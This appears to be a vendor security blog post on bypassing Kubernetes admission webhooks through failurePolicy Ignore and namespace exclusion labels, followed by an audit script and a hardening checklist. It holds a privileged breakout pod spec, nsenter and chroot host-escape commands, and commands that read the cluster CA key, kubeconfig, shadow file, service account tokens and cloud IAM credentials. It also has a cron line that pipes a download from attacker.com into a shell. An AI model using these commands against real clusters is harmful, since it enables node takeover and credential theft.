What admission controllers actually do (and don't do)
Kubernetes admission controllers are plugins that intercept API server requests and either validate or mutate them before the object is persisted to etcd. They sit in the API server processing pipeline between authentication/authorization and object persistence. If an admission controller rejects a request, the object is never created.
Two types are relevant here:
- ValidatingWebhookConfiguration โ calls an external webhook to decide whether to allow or reject a request. Used by OPA/Gatekeeper, Kyverno, and custom policy engines.
- MutatingWebhookConfiguration โ calls an external webhook that can modify the request before it's admitted. Used for things like sidecar injection, image tag pinning, or adding security context defaults.
The webhook is a separate process โ typically a pod running in the cluster. The API server makes an HTTPS call to it for every admission decision. This design has an obvious failure mode: what happens when the webhook pod is unavailable?
The answer is in failurePolicy: Each webhook configuration specifies what happens when the webhook is unreachable. failurePolicy: Fail means the admission is denied (safe). failurePolicy: Ignore means the admission is allowed (dangerous). The default for many commonly-cited examples and tutorials is Ignore โ because it keeps the cluster working during webhook outages.
# List all validating webhooks and their failure policies kubectl get validatingwebhookconfigurations -o json | \ jq -r '.items[] | .metadata.name as $name | .webhooks[]? | [$name, .name, .failurePolicy] | @tsv' # Example output showing a dangerous configuration: gatekeeper-validating-webhook-configuration gatekeeper.k8s.io Ignore kyverno-resource-validating-webhook-cfg kyverno.svc.k8s.io Fail # Also check mutating webhooks kubectl get mutatingwebhookconfigurations -o json | \ jq -r '.items[] | .metadata.name as $name | .webhooks[]? | [$name, .name, .failurePolicy] | @tsv'
Run that command against your cluster right now. If you see Ignore next to any policy-enforcement webhook, you have a problem.
Why teams set failurePolicy: Ignore (and why it's dangerous)
The reasoning is sound on its surface: if your admission webhook goes down, you don't want your entire cluster to stop accepting new pod deployments. CI/CD pipelines break. Autoscaling stops. Critical services can't restart after node failures. So teams set failurePolicy: Ignore to ensure availability โ and unknowingly create a security bypass.
"We set it to Ignore because our webhook crashed during an incident and we couldn't deploy the fix because we couldn't deploy anything. We never changed it back."
This is an extremely common pattern. OPA/Gatekeeper's own documentation warns about it but still shows examples with Ignore. The GKE hardening guide and several well-known Kubernetes security benchmarks flag this, yet most production clusters we've seen have at least one webhook with Ignore.
The specific risk depends on what the webhook enforces. Common examples:
- Image signature verification (Cosign/Notary) โ bypass means unsigned images run
- Privileged container policy โ bypass means
privileged: truepods get admitted - Image registry allowlist โ bypass means images from arbitrary registries run
- Network policy requirements โ bypass means pods without network policies get admitted
- Resource limit requirements โ bypass means pods without resource limits run (DoS risk)
The full attack path
Here is the complete attack scenario, step by step. This assumes an attacker who has obtained Kubernetes credentials with create pods permission in any non-system namespace โ a surprisingly common situation when developers have over-provisioned RBAC.
Identify the webhook and its failure policy
kubectl get validatingwebhookconfigurations -o yaml โ the webhook URL and failure policy are in the spec. If failurePolicy is Ignore, proceed.
Cause the webhook to become unavailable
Send malformed requests that crash the webhook, scale down the webhook deployment if RBAC allows, exploit a memory leak, or simply wait for a node failure or OOM event to take it down.
Deploy a privileged pod during the window
Submit a pod spec with securityContext.privileged: true, hostPID: true, and a hostPath mount of /. The API server tries the webhook, gets a timeout/connection-refused, and admits the pod because failurePolicy is Ignore.
Escape to the host
From inside the privileged container, access the host filesystem via the hostPath mount, use nsenter to enter host namespaces, or simply chroot to the mounted host root. Full node compromise.
Move laterally to the cluster
From the node, access the kubelet API, read service account tokens mounted in other pods, or access the cloud provider's metadata service to get IAM credentials for the entire cluster.
apiVersion: v1 kind: Pod metadata: name: breakout namespace: default spec: hostPID: true # see host process tree hostIPC: true # access host IPC namespace hostNetwork: true # bypass NetworkPolicy containers: - name: shell image: alpine:3.18 # any image โ registry policy bypassed securityContext: privileged: true # full Linux capabilities on the host volumeMounts: - name: host-root mountPath: /host command: ["sh", "-c", "nsenter --target 1 --mount --uts --ipc --net --pid -- bash"] volumes: - name: host-root hostPath: path: / # mount entire host filesystem # From inside the container: # chroot /host โ you are now on the host # cat /host/etc/kubernetes/admin.conf โ cluster admin kubeconfig # cat /host/var/lib/kubelet/pods/*/secrets/* โ all pod service account tokens
The timing window: Most webhook implementations have a 5-30 second timeout before the API server falls back to the failure policy. This means you don't need a sustained outage โ a brief unresponsive period or a single timed request flood during the deployment window is sufficient.
The namespace selector bypass
Even with failurePolicy: Fail, there is a second misconfiguration that creates a bypass: the namespaceSelector. Webhook configurations can be scoped to specific namespaces using label selectors. Namespaces without the required label are excluded from the webhook entirely โ their pod admissions are not checked.
apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: gatekeeper-validating-webhook-configuration webhooks: - name: validation.gatekeeper.sh failurePolicy: Fail # good so far namespaceSelector: matchExpressions: - key: admission.gatekeeper.sh/ignore operator: DoesNotExist # โ excludes namespaces with this label # Attack: create a namespace with the exclusion label # (requires create namespace + label namespace permissions)
# Create a namespace that is excluded from the webhook kubectl create namespace attacker-ns kubectl label namespace attacker-ns admission.gatekeeper.sh/ignore=true # Now deploy privileged pods in that namespace โ webhook won't fire kubectl apply -n attacker-ns -f privileged-pod.yaml # Check which namespaces are currently excluded from your webhooks kubectl get namespace -o json | jq -r ' .items[] | select(.metadata.labels | has("admission.gatekeeper.sh/ignore")) | .metadata.name'
The kube-system exclusion: Almost every cluster configuration excludes kube-system from admission webhooks (to avoid webhook failures from preventing system component restarts). If an attacker can create pods in kube-system (which requires RBAC permissions but is not unheard of in misconfigured clusters), they bypass all policy enforcement automatically.
What container escape from a privileged pod looks like
Once a privileged container with host namespace access is running, escape to the node is trivial. Here are the most common techniques:
nsenter โ enter host namespaces
# PID 1 on the host is init (systemd). nsenter with --target 1 enters host namespaces nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Now you're in the host's root filesystem and all namespaces hostname # node hostname, not pod name cat /etc/shadow # host's shadow file crontab -e # persist via host cron # Access cloud provider metadata (AWS example) curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
hostPath mount โ direct filesystem access
# If the pod was deployed with hostPath: / ls /host/etc/kubernetes/ # cluster PKI, kubeconfig cat /host/etc/kubernetes/pki/ca.key # cluster CA private key # Steal all service account tokens mounted in other pods on this node find /host/var/lib/kubelet/pods/ -name "token" -exec cat {} \; # Write to host cron for persistence echo "* * * * * root curl attacker.com/beacon | sh" >> /host/etc/cron.d/k8s-check # If containerd is used (not Docker), access its socket ls /host/run/containerd/containerd.sock # can manage all containers on node
The lateral movement jackpot: Service account tokens mounted in pods on the same node include the tokens for every other pod on that node โ including pods in other namespaces. If any of those pods have broad RBAC permissions (common for monitoring agents, service mesh components, or CI/CD runners), you can use their tokens to access the Kubernetes API with elevated privileges.
Detecting misconfigurations before an attacker does
#!/bin/bash # Audit all webhook configurations for security issues echo "=== Validating Webhooks with failurePolicy: Ignore ===" kubectl get validatingwebhookconfigurations -o json | \ jq -r '.items[] | .metadata.name as $n | .webhooks[]? | select(.failurePolicy == "Ignore") | [$n, .name, "FAIL: failurePolicy=Ignore"] | @tsv' echo "=== Mutating Webhooks with failurePolicy: Ignore ===" kubectl get mutatingwebhookconfigurations -o json | \ jq -r '.items[] | .metadata.name as $n | .webhooks[]? | select(.failurePolicy == "Ignore") | [$n, .name, "FAIL: failurePolicy=Ignore"] | @tsv' echo "=== Namespaces excluded from Gatekeeper ===" kubectl get ns -o json | \ jq -r '.items[] | select(.metadata.labels | has("admission.gatekeeper.sh/ignore")) | .metadata.name' echo "=== Currently running privileged pods ===" kubectl get pods --all-namespaces -o json | \ jq -r '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | [.metadata.namespace, .metadata.name, "PRIVILEGED"] | @tsv' echo "=== Pods with hostPID/hostIPC/hostNetwork ===" kubectl get pods --all-namespaces -o json | \ jq -r '.items[] | select(.spec.hostPID == true or .spec.hostIPC == true or .spec.hostNetwork == true) | [.metadata.namespace, .metadata.name, (.spec.hostPID // false | tostring), (.spec.hostIPC // false | tostring), (.spec.hostNetwork // false | tostring)] | @tsv'
Run this regularly and pipe the output to your alerting system. Any result from the privileged pods or hostPID checks should be treated as a high-severity finding requiring immediate investigation.
Kubernetes audit logs: Enable audit logging for the Kubernetes API server and alert on responseStatus.code: 201 for pod create events where the pod spec contains privileged: true, hostPID: true, or a hostPath volume mount. These events are visible in audit logs even when admission control is bypassed.
Hardening checklist
Set failurePolicy: Fail on all enforcement webhooks
If the webhook crashes, deny rather than allow. Handle webhook availability as an operational concern, not a security shortcut.
Run webhook pods with PodDisruptionBudget
Set minAvailable: 1 so the webhook pod is never voluntarily drained without a replacement ready. Use multiple replicas across nodes.
Use Pod Security Admission (PSA) as a baseline
Kubernetes 1.25+ includes PSA built into the API server โ no webhook needed. Enable restricted profile on all non-system namespaces as a floor below your policy engine.
Restrict namespace label modifications
Only cluster-admins should be able to label namespaces with policy exclusion labels. Audit RBAC for who has update on namespace resources.
Set timeoutSeconds to a low value
Default is 10 seconds. Set it to 3-5 seconds so slow webhook responses fail fast rather than creating a long window of uncertainty.
Scope webhooks with tight namespaceSelector
Use positive selectors (matchLabels: {pod-security: enforced}) that require explicit opt-in, rather than exclusion labels that opt-out.
# Label namespaces to enforce PSA # This runs in the API server itself โ no webhook, no failure policy issue # For production namespaces: enforce restricted profile kubectl label namespace production \ pod-security.kubernetes.io/enforce=restricted \ pod-security.kubernetes.io/warn=restricted \ pod-security.kubernetes.io/audit=restricted # Apply baseline to all namespaces by default via admission config # (in kube-apiserver --admission-control-config-file): apiVersion: apiserver.config.k8s.io/v1 kind: AdmissionConfiguration plugins: - name: PodSecurity configuration: apiVersion: pod-security.admission.config.k8s.io/v1 kind: PodSecurityConfiguration defaults: enforce: "baseline" audit: "restricted" warn: "restricted" exemptions: namespaces: ["kube-system"] # minimum exemptions
Catch container and Kubernetes misconfigurations before they reach production
AquilaX Container Security scans your Kubernetes manifests, Helm charts, and Dockerfiles for privileged pod configs, webhook misconfigurations, and escape-path vulnerabilities โ integrated directly into your CI/CD pipeline.